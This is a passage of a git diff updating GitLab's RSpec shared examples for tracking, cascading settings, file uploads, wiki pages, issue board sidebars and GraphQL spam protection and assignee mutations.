-RSpec.shared_examples 'a Trackable Controller' do
- describe '#track_event', :snowplow do
- before do
- sign_in user
- end
-
- context 'with no params' do
- controller(described_class) do
- def index
- track_event
- head :ok
- end
- end
-
- it 'tracks the action name', :snowplow do
- get :index
-
- expect_snowplow_event(category: 'AnonymousController', action: 'index')
- end
- end
-
- context 'with params' do
- controller(described_class) do
- def index
- track_event('some_event', category: 'SomeCategory', label: 'errorlabel')
- head :ok
- end
- end
-
- it 'tracks with the specified param' do
- get :index
-
- expect_snowplow_event(category: 'SomeCategory', action: 'some_event', label: 'errorlabel')
- end
- end
- end
-end
diff --git a/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb b/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
index 428389a9a01..3f97c031e27 100644
--- a/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
@@ -4,27 +4,30 @@ RSpec.shared_examples 'tracking unique visits' do |method|
let(:request_params) { {} }
it 'tracks unique visit if the format is HTML' do
- expect_any_instance_of(Gitlab::Analytics::UniqueVisits).to receive(:track_visit).with(instance_of(String), target_id)
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event).with(target_id, values: kind_of(String))
get method, params: request_params, format: :html
end
it 'tracks unique visit if DNT is not enabled' do
- expect_any_instance_of(Gitlab::Analytics::UniqueVisits).to receive(:track_visit).with(instance_of(String), target_id)
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event).with(target_id, values: kind_of(String))
+
request.headers['DNT'] = '0'
get method, params: request_params, format: :html
end
it 'does not track unique visit if DNT is enabled' do
- expect_any_instance_of(Gitlab::Analytics::UniqueVisits).not_to receive(:track_visit)
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
request.headers['DNT'] = '1'
get method, params: request_params, format: :html
end
it 'does not track unique visit if the format is JSON' do
- expect_any_instance_of(Gitlab::Analytics::UniqueVisits).not_to receive(:track_visit)
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
get method, params: request_params, format: :json
end
diff --git a/spec/support/shared_examples/features/cascading_settings_shared_examples.rb b/spec/support/shared_examples/features/cascading_settings_shared_examples.rb
new file mode 100644
index 00000000000..29ef3da9a85
--- /dev/null
+++ b/spec/support/shared_examples/features/cascading_settings_shared_examples.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'a cascading setting' do
+ context 'when setting is enforced by an ancestor group' do
+ before do
+ visit group_path
+
+ page.within form_group_selector do
+ find(setting_field_selector).check
+ find('[data-testid="enforce-for-all-subgroups-checkbox"]').check
+ end
+
+ click_save_button
+ end
+
+ it 'disables setting in subgroups' do
+ visit subgroup_path
+
+ expect(find("#{setting_field_selector}[disabled]")).to be_checked
+ end
+
+ it 'does not show enforcement checkbox in subgroups' do
+ visit subgroup_path
+
+ expect(page).not_to have_selector '[data-testid="enforce-for-all-subgroups-checkbox"]'
+ end
+
+ it 'displays lock icon with popover', :js do
+ visit subgroup_path
+
+ page.within form_group_selector do
+ find('[data-testid="cascading-settings-lock-icon"]').click
+ end
+
+ page.within '[data-testid="cascading-settings-lock-popover"]' do
+ expect(page).to have_text 'This setting has been enforced by an owner of Foo bar.'
+ expect(page).to have_link 'Foo bar', href: setting_path
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/creatable_merge_request_shared_examples.rb b/spec/support/shared_examples/features/creatable_merge_request_shared_examples.rb
index da966fd2200..1c816ee4b0a 100644
--- a/spec/support/shared_examples/features/creatable_merge_request_shared_examples.rb
+++ b/spec/support/shared_examples/features/creatable_merge_request_shared_examples.rb
@@ -43,7 +43,7 @@ RSpec.shared_examples 'a creatable merge request' do
expect(page.all('input[name="merge_request[label_ids][]"]', visible: false)[1].value).to match(label.id.to_s)
expect(page.all('input[name="merge_request[label_ids][]"]', visible: false)[2].value).to match(label2.id.to_s)
- click_button 'Submit merge request'
+ click_button 'Create merge request'
page.within '.issuable-sidebar' do
page.within '.assignee' do
diff --git a/spec/support/shared_examples/features/discussion_comments_shared_example.rb b/spec/support/shared_examples/features/discussion_comments_shared_example.rb
index 86ba2821c78..808e0be6be2 100644
--- a/spec/support/shared_examples/features/discussion_comments_shared_example.rb
+++ b/spec/support/shared_examples/features/discussion_comments_shared_example.rb
@@ -304,7 +304,7 @@ RSpec.shared_examples 'thread comments for issue, epic and merge request' do |re
let(:reply_id) { find("#{comments_selector} .note:last-of-type", match: :first)['data-note-id'] }
it 'can be replied to after resolving' do
- click_button "Resolve thread"
+ find('button[data-qa-selector="resolve_discussion_button"]').click
wait_for_requests
refresh
@@ -316,7 +316,7 @@ RSpec.shared_examples 'thread comments for issue, epic and merge request' do |re
it 'shows resolved thread when toggled' do
submit_reply('a')
- click_button "Resolve thread"
+ find('button[data-qa-selector="resolve_discussion_button"]').click
wait_for_requests
expect(page).to have_selector(".note-row-#{note_id}", visible: true)
diff --git a/spec/support/shared_examples/features/error_tracking_shared_example.rb b/spec/support/shared_examples/features/error_tracking_shared_example.rb
index 92fc54ce0b0..1bdc5355408 100644
--- a/spec/support/shared_examples/features/error_tracking_shared_example.rb
+++ b/spec/support/shared_examples/features/error_tracking_shared_example.rb
@@ -2,7 +2,7 @@
RSpec.shared_examples 'error tracking index page' do
it 'renders the error index page', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/217810' } do
- within('div.js-title-container') do
+ within('[data-testid="breadcrumb-links"]') do
expect(page).to have_content(project.namespace.name)
expect(page).to have_content(project.name)
end
diff --git a/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb b/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
index 7a32f61d4fa..49c3674277d 100644
--- a/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
+++ b/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
@@ -2,7 +2,7 @@
RSpec.shared_examples 'issuable invite members experiments' do
context 'when a privileged user can invite' do
- it 'shows a link for inviting members and follows through to the members page' do
+ it 'shows a link for inviting members and launches invite modal' do
project.add_maintainer(user)
visit issuable_path
@@ -11,14 +11,14 @@ RSpec.shared_examples 'issuable invite members experiments' do
wait_for_requests
page.within '.dropdown-menu-user' do
- expect(page).to have_link('Invite Members', href: project_project_members_path(project))
+ expect(page).to have_link('Invite Members')
expect(page).to have_selector('[data-track-event="click_invite_members"]')
expect(page).to have_selector('[data-track-label="edit_assignee"]')
end
click_link 'Invite Members'
- expect(current_path).to eq project_project_members_path(project)
+ expect(page).to have_content("You're inviting members to the")
end
end
diff --git a/spec/support/shared_examples/features/project_upload_files_shared_examples.rb b/spec/support/shared_examples/features/project_upload_files_shared_examples.rb
index 00d3bd08218..7adf303bde4 100644
--- a/spec/support/shared_examples/features/project_upload_files_shared_examples.rb
+++ b/spec/support/shared_examples/features/project_upload_files_shared_examples.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
-RSpec.shared_examples 'it uploads and commit a new text file' do
- it 'uploads and commit a new text file', :js do
+RSpec.shared_examples 'it uploads and commits a new text file' do
+ it 'uploads and commits a new text file', :js do
find('.add-to-tree').click
page.within('.dropdown-menu') do
@@ -10,7 +10,7 @@ RSpec.shared_examples 'it uploads and commit a new text file' do
wait_for_requests
end
- drop_in_dropzone(File.join(Rails.root, 'spec', 'fixtures', 'doc_sample.txt'))
+ attach_file('upload_file', File.join(Rails.root, 'spec', 'fixtures', 'doc_sample.txt'), make_visible: true)
page.within('#modal-upload-blob') do
fill_in(:commit_message, with: 'New commit message')
@@ -32,8 +32,8 @@ RSpec.shared_examples 'it uploads and commit a new text file' do
end
end
-RSpec.shared_examples 'it uploads and commit a new image file' do
- it 'uploads and commit a new image file', :js do
+RSpec.shared_examples 'it uploads and commits a new image file' do
+ it 'uploads and commits a new image file', :js do
find('.add-to-tree').click
page.within('.dropdown-menu') do
@@ -42,7 +42,7 @@ RSpec.shared_examples 'it uploads and commit a new image file' do
wait_for_requests
end
- drop_in_dropzone(File.join(Rails.root, 'spec', 'fixtures', 'logo_sample.svg'))
+ attach_file('upload_file', File.join(Rails.root, 'spec', 'fixtures', 'logo_sample.svg'), make_visible: true)
page.within('#modal-upload-blob') do
fill_in(:commit_message, with: 'New commit message')
@@ -58,21 +58,49 @@ RSpec.shared_examples 'it uploads and commit a new image file' do
end
end
-RSpec.shared_examples 'it uploads and commit a new file to a forked project' do
+RSpec.shared_examples 'it uploads and commits a new pdf file' do
+ it 'uploads and commits a new pdf file', :js do
+ find('.add-to-tree').click
+
+ page.within('.dropdown-menu') do
+ click_link('Upload file')
+
+ wait_for_requests
+ end
+
+ attach_file('upload_file', File.join(Rails.root, 'spec', 'fixtures', 'git-cheat-sheet.pdf'), make_visible: true)
+
+ page.within('#modal-upload-blob') do
+ fill_in(:commit_message, with: 'New commit message')
+ fill_in(:branch_name, with: 'upload_image', visible: true)
+ click_button('Upload file')
+ end
+
+ wait_for_all_requests
+
+ visit(project_blob_path(project, 'upload_image/git-cheat-sheet.pdf'))
+
+ expect(page).to have_css('.js-pdf-viewer')
+ end
+end
+
+RSpec.shared_examples 'it uploads and commits a new file to a forked project' do
let(:fork_message) do
"You're not allowed to make changes to this project directly. "\
"A fork of this project has been created that you can make changes in, so you can submit a merge request."
end
- it 'uploads and commit a new file to a forked project', :js, :sidekiq_might_not_need_inline do
+ it 'uploads and commits a new file to a forked project', :js, :sidekiq_might_not_need_inline do
find('.add-to-tree').click
click_link('Upload file')
expect(page).to have_content(fork_message)
+ wait_for_all_requests
+
find('.add-to-tree').click
click_link('Upload file')
- drop_in_dropzone(File.join(Rails.root, 'spec', 'fixtures', 'doc_sample.txt'))
+ attach_file('upload_file', File.join(Rails.root, 'spec', 'fixtures', 'doc_sample.txt'), make_visible: true)
page.within('#modal-upload-blob') do
fill_in(:commit_message, with: 'New commit message')
@@ -95,6 +123,33 @@ RSpec.shared_examples 'it uploads and commit a new file to a forked project' do
end
end
+RSpec.shared_examples 'it uploads a file to a sub-directory' do
+ it 'uploads a file to a sub-directory', :js do
+ click_link 'files'
+
+ page.within('.repo-breadcrumb') do
+ expect(page).to have_content('files')
+ end
+
+ find('.add-to-tree').click
+ click_link('Upload file')
+ attach_file('upload_file', File.join(Rails.root, 'spec', 'fixtures', 'doc_sample.txt'), make_visible: true)
+
+ page.within('#modal-upload-blob') do
+ fill_in(:commit_message, with: 'New commit message')
+ end
+
+ click_button('Upload file')
+
+ expect(page).to have_content('New commit message')
+
+ page.within('.repo-breadcrumb') do
+ expect(page).to have_content('files')
+ expect(page).to have_content('doc_sample.txt')
+ end
+ end
+end
+
RSpec.shared_examples 'uploads and commits a new text file via "upload file" button' do
it 'uploads and commits a new text file via "upload file" button', :js do
find('[data-testid="upload-file-button"]').click
diff --git a/spec/support/shared_examples/features/resolving_discussions_in_issues_shared_examples.rb b/spec/support/shared_examples/features/resolving_discussions_in_issues_shared_examples.rb
index 06127f2ed8c..6d44a6fde85 100644
--- a/spec/support/shared_examples/features/resolving_discussions_in_issues_shared_examples.rb
+++ b/spec/support/shared_examples/features/resolving_discussions_in_issues_shared_examples.rb
@@ -14,11 +14,11 @@ RSpec.shared_examples 'creating an issue for a thread' do
end
it 'can create a new issue for the project' do
- expect { click_button 'Submit issue' }.to change { project.issues.reload.size }.by(1)
+ expect { click_button 'Create issue' }.to change { project.issues.reload.size }.by(1)
end
it 'resolves the discussion in the merge request' do
- click_button 'Submit issue'
+ click_button 'Create issue'
discussion.first_note.reload
@@ -26,7 +26,7 @@ RSpec.shared_examples 'creating an issue for a thread' do
end
it 'shows a flash messaage after resolving a discussion' do
- click_button 'Submit issue'
+ click_button 'Create issue'
page.within '.flash-notice' do
# Only check for the word 'Resolved' since the spec might have resolved
diff --git a/spec/support/shared_examples/features/search_settings_shared_examples.rb b/spec/support/shared_examples/features/search_settings_shared_examples.rb
index 6a507c4be56..dda780690b2 100644
--- a/spec/support/shared_examples/features/search_settings_shared_examples.rb
+++ b/spec/support/shared_examples/features/search_settings_shared_examples.rb
@@ -7,9 +7,7 @@ RSpec.shared_examples 'cannot search settings' do
end
RSpec.shared_examples 'can search settings' do |search_term, non_match_section|
- it 'has search settings field' do
- expect(page).to have_field(placeholder: SearchHelpers::INPUT_PLACEHOLDER)
- end
+ it_behaves_like 'can highlight results', search_term
it 'hides unmatching sections on search' do
expect(page).to have_content(non_match_section)
@@ -21,22 +19,19 @@ RSpec.shared_examples 'can search settings' do |search_term, non_match_section|
end
end
-RSpec.shared_examples 'can search settings with feature flag check' do |search_term, non_match_section|
- let(:flag) { true }
-
- before do
- stub_feature_flags(search_settings_in_page: flag)
-
- visit(visit_path)
+RSpec.shared_examples 'can highlight results' do |search_term|
+ it 'has search settings field' do
+ expect(page).to have_field(placeholder: SearchHelpers::INPUT_PLACEHOLDER)
end
- context 'with feature flag on' do
- it_behaves_like 'can search settings', search_term, non_match_section
- end
+ it 'highlights the search terms' do
+ selector = '.gl-bg-orange-100'
+ fill_in SearchHelpers::INPUT_PLACEHOLDER, with: search_term
- context 'with feature flag off' do
- let(:flag) { false }
+ expect(page).to have_css(selector)
- it_behaves_like 'cannot search settings'
+ page.find_all(selector) do |element|
+ expect(element).to have_content(search_term)
+ end
end
end
diff --git a/spec/support/shared_examples/features/sidebar_shared_examples.rb b/spec/support/shared_examples/features/sidebar_shared_examples.rb
new file mode 100644
index 00000000000..429efbe6ba0
--- /dev/null
+++ b/spec/support/shared_examples/features/sidebar_shared_examples.rb
@@ -0,0 +1,165 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'issue boards sidebar' do
+ include MobileHelpers
+
+ before do
+ first_card.click
+ end
+
+ it 'shows sidebar when clicking issue' do
+ expect(page).to have_selector('[data-testid="issue-boards-sidebar"]')
+ end
+
+ it 'closes sidebar when clicking issue' do
+ expect(page).to have_selector('[data-testid="issue-boards-sidebar"]')
+
+ first_card.click
+
+ expect(page).not_to have_selector('[data-testid="issue-boards-sidebar"]')
+ end
+
+ it 'shows issue details when sidebar is open', :aggregate_failures do
+ page.within('[data-testid="issue-boards-sidebar"]') do
+ expect(page).to have_content(issue.title)
+ expect(page).to have_content(issue.to_reference)
+ end
+ end
+
+ context 'when clicking close button' do
+ before do
+ find('[data-testid="issue-boards-sidebar"] .gl-drawer-close-button').click
+ end
+
+ it 'unhighlights the active issue card' do
+ expect(first_card[:class]).not_to include('is-active')
+ expect(first_card[:class]).not_to include('multi-select')
+ end
+
+ it 'closes sidebar when clicking close button' do
+ expect(page).not_to have_selector('[data-testid="issue-boards-sidebar"]')
+ end
+ end
+
+ context 'in notifications subscription' do
+ it 'displays notifications toggle', :aggregate_failures do
+ page.within('[data-testid="sidebar-notifications"]') do
+ expect(page).to have_selector('[data-testid="notification-subscribe-toggle"]')
+ expect(page).to have_content('Notifications')
+ expect(page).not_to have_content('Notifications have been disabled by the project or group owner')
+ end
+ end
+
+ it 'shows toggle as on then as off as user toggles to subscribe and unsubscribe', :aggregate_failures do
+ toggle = find('[data-testid="notification-subscribe-toggle"]')
+
+ toggle.click
+
+ expect(toggle).to have_css("button.is-checked")
+
+ toggle.click
+
+ expect(toggle).not_to have_css("button.is-checked")
+ end
+
+ context 'when notifications have been disabled' do
+ before do
+ project.update_attribute(:emails_disabled, true)
+
+ refresh_and_click_first_card
+ end
+
+ it 'displays a message that notifications have been disabled' do
+ page.within('[data-testid="sidebar-notifications"]') do
+ expect(page).not_to have_selector('[data-testid="notification-subscribe-toggle"]')
+ expect(page).to have_content('Notifications have been disabled by the project or group owner')
+ end
+ end
+ end
+ end
+
+ context 'in time tracking' do
+ it 'displays time tracking feature with default message' do
+ page.within('[data-testid="time-tracker"]') do
+ expect(page).to have_content('Time tracking')
+ expect(page).to have_content('No estimate or time spent')
+ end
+ end
+
+ context 'when only spent time is recorded' do
+ before do
+ issue.timelogs.create!(time_spent: 3600, user: user)
+
+ refresh_and_click_first_card
+ end
+
+ it 'shows the total time spent only' do
+ page.within('[data-testid="time-tracker"]') do
+ expect(page).to have_content('Spent: 1h')
+ expect(page).not_to have_content('Estimated')
+ end
+ end
+ end
+
+ context 'when only estimated time is recorded' do
+ before do
+ issue.update!(time_estimate: 3600)
+
+ refresh_and_click_first_card
+ end
+
+ it 'shows the estimated time only', :aggregate_failures do
+ page.within('[data-testid="time-tracker"]') do
+ expect(page).to have_content('Estimated: 1h')
+ expect(page).not_to have_content('Spent')
+ end
+ end
+ end
+
+ context 'when estimated and spent times are available' do
+ before do
+ issue.timelogs.create!(time_spent: 1800, user: user)
+ issue.update!(time_estimate: 3600)
+
+ refresh_and_click_first_card
+ end
+
+ it 'shows time tracking progress bar' do
+ page.within('[data-testid="time-tracker"]') do
+ expect(page).to have_selector('[data-testid="timeTrackingComparisonPane"]')
+ end
+ end
+
+ it 'shows both estimated and spent time text', :aggregate_failures do
+ page.within('[data-testid="time-tracker"]') do
+ expect(page).to have_content('Spent 30m')
+ expect(page).to have_content('Est 1h')
+ end
+ end
+ end
+
+ context 'when limitedToHours instance option is turned on' do
+ before do
+ # 3600+3600*24 = 1d 1h or 25h
+ issue.timelogs.create!(time_spent: 3600 + 3600 * 24, user: user)
+ stub_application_setting(time_tracking_limit_to_hours: true)
+
+ refresh_and_click_first_card
+ end
+
+ it 'shows the total time spent only' do
+ page.within('[data-testid="time-tracker"]') do
+ expect(page).to have_content('Spent: 25h')
+ end
+ end
+ end
+ end
+
+ def refresh_and_click_first_card
+ page.refresh
+
+ wait_for_requests
+
+ first_card.click
+ end
+end
diff --git a/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb
index 2f8ebd0d264..8a6d5d88ca6 100644
--- a/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb
@@ -240,7 +240,7 @@ RSpec.shared_examples 'User creates wiki page' do
end
end
- it "shows the emoji autocompletion dropdown" do
+ it "shows the emoji autocompletion dropdown", :js do
click_link("New page")
page.within(".wiki-form") do
diff --git a/spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb
index d3d2a36147d..4fea450bd64 100644
--- a/spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb
@@ -13,7 +13,7 @@ RSpec.shared_examples 'User views Git access wiki page' do
expect(page).to have_text("Clone repository #{wiki.full_path}")
- within('.git-clone-holder') do
+ within('.js-git-clone-holder') do
expect(page).to have_css('#clone-dropdown', text: 'HTTP')
expect(page).to have_field('clone_url', with: wiki.http_url_to_repo)
diff --git a/spec/support/shared_examples/features/wiki/user_previews_wiki_changes_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_previews_wiki_changes_shared_examples.rb
index a22d98f20c4..1a981f42086 100644
--- a/spec/support/shared_examples/features/wiki/user_previews_wiki_changes_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_previews_wiki_changes_shared_examples.rb
@@ -38,19 +38,19 @@ RSpec.shared_examples 'User previews wiki changes' do
end
end
- context "when there are no spaces or hyphens in the page name" do
+ context "when there are no spaces or hyphens in the page name", :js do
let(:wiki_page) { build(:wiki_page, wiki: wiki, title: 'a/b/c/d', content: page_content) }
it_behaves_like 'rewrites relative links'
end
- context "when there are spaces in the page name" do
+ context "when there are spaces in the page name", :js do
let(:wiki_page) { build(:wiki_page, wiki: wiki, title: 'a page/b page/c page/d page', content: page_content) }
it_behaves_like 'rewrites relative links'
end
- context "when there are hyphens in the page name" do
+ context "when there are hyphens in the page name", :js do
let(:wiki_page) { build(:wiki_page, wiki: wiki, title: 'a-page/b-page/c-page/d-page', content: page_content) }
it_behaves_like 'rewrites relative links'
diff --git a/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
index 1e325535e81..d185e9dd81c 100644
--- a/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
@@ -11,7 +11,7 @@ RSpec.shared_examples 'User updates wiki page' do
sign_in(user)
end
- context 'when wiki is empty' do
+ context 'when wiki is empty', :js do
before do |example|
visit(wiki_path(wiki))
@@ -57,7 +57,7 @@ RSpec.shared_examples 'User updates wiki page' do
it_behaves_like 'wiki file attachments'
end
- context 'when wiki is not empty' do
+ context 'when wiki is not empty', :js do
let!(:wiki_page) { create(:wiki_page, wiki: wiki, title: 'home', content: 'Home page') }
before do
@@ -147,7 +147,7 @@ RSpec.shared_examples 'User updates wiki page' do
it_behaves_like 'wiki file attachments'
end
- context 'when the page is in a subdir' do
+ context 'when the page is in a subdir', :js do
let(:page_name) { 'page_name' }
let(:page_dir) { "foo/bar/#{page_name}" }
let!(:wiki_page) { create(:wiki_page, wiki: wiki, title: page_dir, content: 'Home page') }
diff --git a/spec/support/shared_examples/features/wiki/user_views_wiki_empty_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_views_wiki_empty_shared_examples.rb
index 14180d503df..3514ce286d6 100644
--- a/spec/support/shared_examples/features/wiki/user_views_wiki_empty_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_views_wiki_empty_shared_examples.rb
@@ -20,11 +20,11 @@ RSpec.shared_examples 'User views empty wiki' do
end
end
- shared_examples 'empty wiki message' do |writable: false, issuable: false, confluence: false|
+ shared_examples 'empty wiki message' do |writable: false, issuable: false, confluence: false, expect_button: true|
# This mirrors the logic in:
# - app/views/shared/empty_states/_wikis.html.haml
# - WikiHelper#wiki_empty_state_messages
- it 'shows the empty state message with the expected elements' do
+ it 'shows the empty state message with the expected elements', :js do
visit wiki_path(wiki)
if writable
@@ -37,7 +37,7 @@ RSpec.shared_examples 'User views empty wiki' do
if issuable && !writable
expect(element).to have_content("improve the wiki for this #{container_name}")
expect(element).to have_link("issue tracker", href: project_issues_path(project))
- expect(element).to have_link("Suggest wiki improvement", href: new_project_issue_path(project))
+ expect(element.has_link?("Suggest wiki improvement", href: new_project_issue_path(project))).to be(expect_button)
else
expect(element).not_to have_content("improve the wiki for this #{container_name}")
expect(element).not_to have_link("issue tracker")
diff --git a/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb b/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
index bb4270d7db6..fc795012ce7 100644
--- a/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
+++ b/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
@@ -21,13 +21,13 @@ RSpec.shared_examples 'a mutation which can mutate a spammable' do
end
end
- describe "#with_spam_action_response_fields" do
+ describe "#spam_action_response_fields" do
it 'resolves with spam action fields' do
subject
# NOTE: We do not need to assert on the specific values of spam action fields here, we only need
- # to verify that #with_spam_action_response_fields was invoked and that the fields are present in the
- # response. The specific behavior of #with_spam_action_response_fields is covered in the
+ # to verify that #spam_action_response_fields was invoked and that the fields are present in the
+ # response. The specific behavior of #spam_action_response_fields is covered in the
# HasSpamActionResponseFields unit tests.
expect(mutation_response.keys)
.to include('spam', 'spamLogId', 'needsCaptchaResponse', 'captchaSiteKey')
diff --git a/spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb b/spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb
index cfa12171b7e..022e2308517 100644
--- a/spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb
@@ -10,22 +10,40 @@ RSpec.shared_examples 'an assignable resource' do
describe '#resolve' do
let_it_be(:assignee) { create(:user) }
let_it_be(:assignee2) { create(:user) }
+
let(:assignee_usernames) { [assignee.username] }
let(:mutated_resource) { subject[resource.class.name.underscore.to_sym] }
+ let(:mode) { described_class.arguments['operationMode'].default_value }
- subject { mutation.resolve(project_path: resource.project.full_path, iid: resource.iid, assignee_usernames: assignee_usernames) }
-
- before do
- resource.project.add_developer(assignee)
- resource.project.add_developer(assignee2)
+ subject do
+ mutation.resolve(project_path: resource.project.full_path,
+ iid: resource.iid,
+ operation_mode: mode,
+ assignee_usernames: assignee_usernames)
end
it 'raises an error if the resource is not accessible to the user' do
expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
end
+ it 'does not change assignees if the resource is not accessible to the assignees' do
+ resource.project.add_developer(user)
+
+ expect { subject }.not_to change { resource.reload.assignee_ids }
+ end
+
+ it 'returns an operational error if the resource is not accessible to the assignees' do
+ resource.project.add_developer(user)
+
+ result = subject
+
+ expect(result[:errors]).to include a_string_matching(/Cannot assign/)
+ end
+
context 'when the user can update the resource' do
before do
+ resource.project.add_developer(assignee)
+ resource.project.add_developer(assignee2)
resource.project.add_developer(user)
end
diff --git a/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb b/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
index f78ea364147..eaeb5faee3b 100644
--- a/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
@@ -44,7 +44,7 @@
# end
# end
#
-RSpec.shared_examples 'sorted paginated query' do
+RSpec.shared_examples 'sorted paginated query' do |conditions = {}|
# Provided as a convenience when constructing queries using string concatenation
let(:page_info) { 'pageInfo { startCursor endCursor }' }
# Convenience for using default implementation of pagination_results_data
@@ -123,6 +123,16 @@ RSpec.shared_examples 'sorted paginated query' do
expect(results).to eq first_page
end
end
+
+ context 'when last and sort params are present', if: conditions[:is_reversible] do
+ let(:params) { sort_argument.merge(last: 1) }
+
+ it 'fetches last elements without error' do
+ post_graphql(pagination_query(params), current_user: current_user)
+
+ expect(results.first).to eq(expected_results.last)
+ end
+ end
end
end
end
diff --git a/spec/support/shared_examples/graphql/spam_protection_shared_examples.rb b/spec/support/shared_examples/graphql/spam_protection_shared_examples.rb
new file mode 100644
index 00000000000..8fb89a4f80e
--- /dev/null
+++ b/spec/support/shared_examples/graphql/spam_protection_shared_examples.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.shared_examples 'has spam protection' do
+ include AfterNextHelpers
+
+ describe '#check_spam_action_response!' do
+ let(:variables) { nil }
+ let(:headers) { {} }
+ let(:spam_log_id) { 123 }
+ let(:captcha_site_key) { 'abc123' }
+
+ def send_request
+ post_graphql_mutation(mutation, current_user: current_user)
+ end
+
+ before do
+ allow_next(mutation_class).to receive(:spam_action_response_fields).and_return(
+ spam: spam,
+ needs_captcha_response: render_captcha,
+ spam_log_id: spam_log_id,
+ captcha_site_key: captcha_site_key
+ )
+ end
+
+ context 'when the object is spam (DISALLOW)' do
+ shared_examples 'disallow response' do
+ it 'informs the client that the request was denied as spam' do
+ send_request
+
+ expect(graphql_errors)
+ .to contain_exactly a_hash_including('message' => ::Mutations::SpamProtection::SPAM_DISALLOWED_MESSAGE)
+ expect(graphql_errors)
+ .to contain_exactly a_hash_including('extensions' => { "spam" => true })
+ end
+ end
+
+ let(:spam) { true }
+
+ context 'and no CAPTCHA is available' do
+ let(:render_captcha) { false }
+
+ it_behaves_like 'disallow response'
+ end
+
+ context 'and a CAPTCHA is required' do
+ let(:render_captcha) { true }
+
+ it_behaves_like 'disallow response'
+ end
+ end
+
+ context 'when the object is not spam (CONDITIONAL ALLOW)' do
+ let(:spam) { false }
+
+ context 'and no CAPTCHA is required' do
+ let(:render_captcha) { false }
+
+ it 'does not return a to-level error' do
+ send_request
+
+ expect(graphql_errors).to be_blank
+ end
+ end
+
+ context 'and a CAPTCHA is required' do
+ let(:render_captcha) { true }
+
+ it 'informs the client that the request may be retried after solving the CAPTCHA' do
+ send_request
+
+ expect(graphql_errors)
+ .to contain_exactly a_hash_including('message' => ::Mutations::SpamProtection::NEEDS_CAPTCHA_RESPONSE_MESSAGE)
+ expect(graphql_errors)
+ .to contain_exactly a_hash_including('extensions' => {
+ "captcha_site_key" => captcha_site_key,
+ "needs_captcha_response" => true,
+ "spam_log_id" => spam_log_id
+ })
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb b/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
index bc091a678e2..efb2c466f70 100644
--- a/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
@@ -13,18 +13,18 @@ RSpec.shared_examples 'Gitlab-style deprecations' do
it 'raises an error if a required property is missing', :aggregate_failures do
expect { subject(deprecated: { milestone: '1.10' }) }.to raise_error(
ArgumentError,
- 'Please provide a `reason` within `deprecated`'
+ include("Reason can't be blank")
)
expect { subject(deprecated: { reason: 'Deprecation reason' }) }.to raise_error(
ArgumentError,
- 'Please provide a `milestone` within `deprecated`'
+ include("Milestone can't be blank")
)
end
it 'raises an error if milestone is not a String', :aggregate_failures do
expect { subject(deprecated: { milestone: 1.10, reason: 'Deprecation reason' }) }.to raise_error(
ArgumentError,
- '`milestone` must be a `String`'
+ include("Milestone must be a string")
)
end
end
@@ -49,4 +49,22 @@ RSpec.shared_examples 'Gitlab-style deprecations' do
expect(deprecable.description).to be_nil
end
+
+ it 'adds information about the replacement if provided' do
+ deprecable = subject(deprecated: { milestone: '1.10', reason: :renamed, replacement: 'Foo.bar' })
+
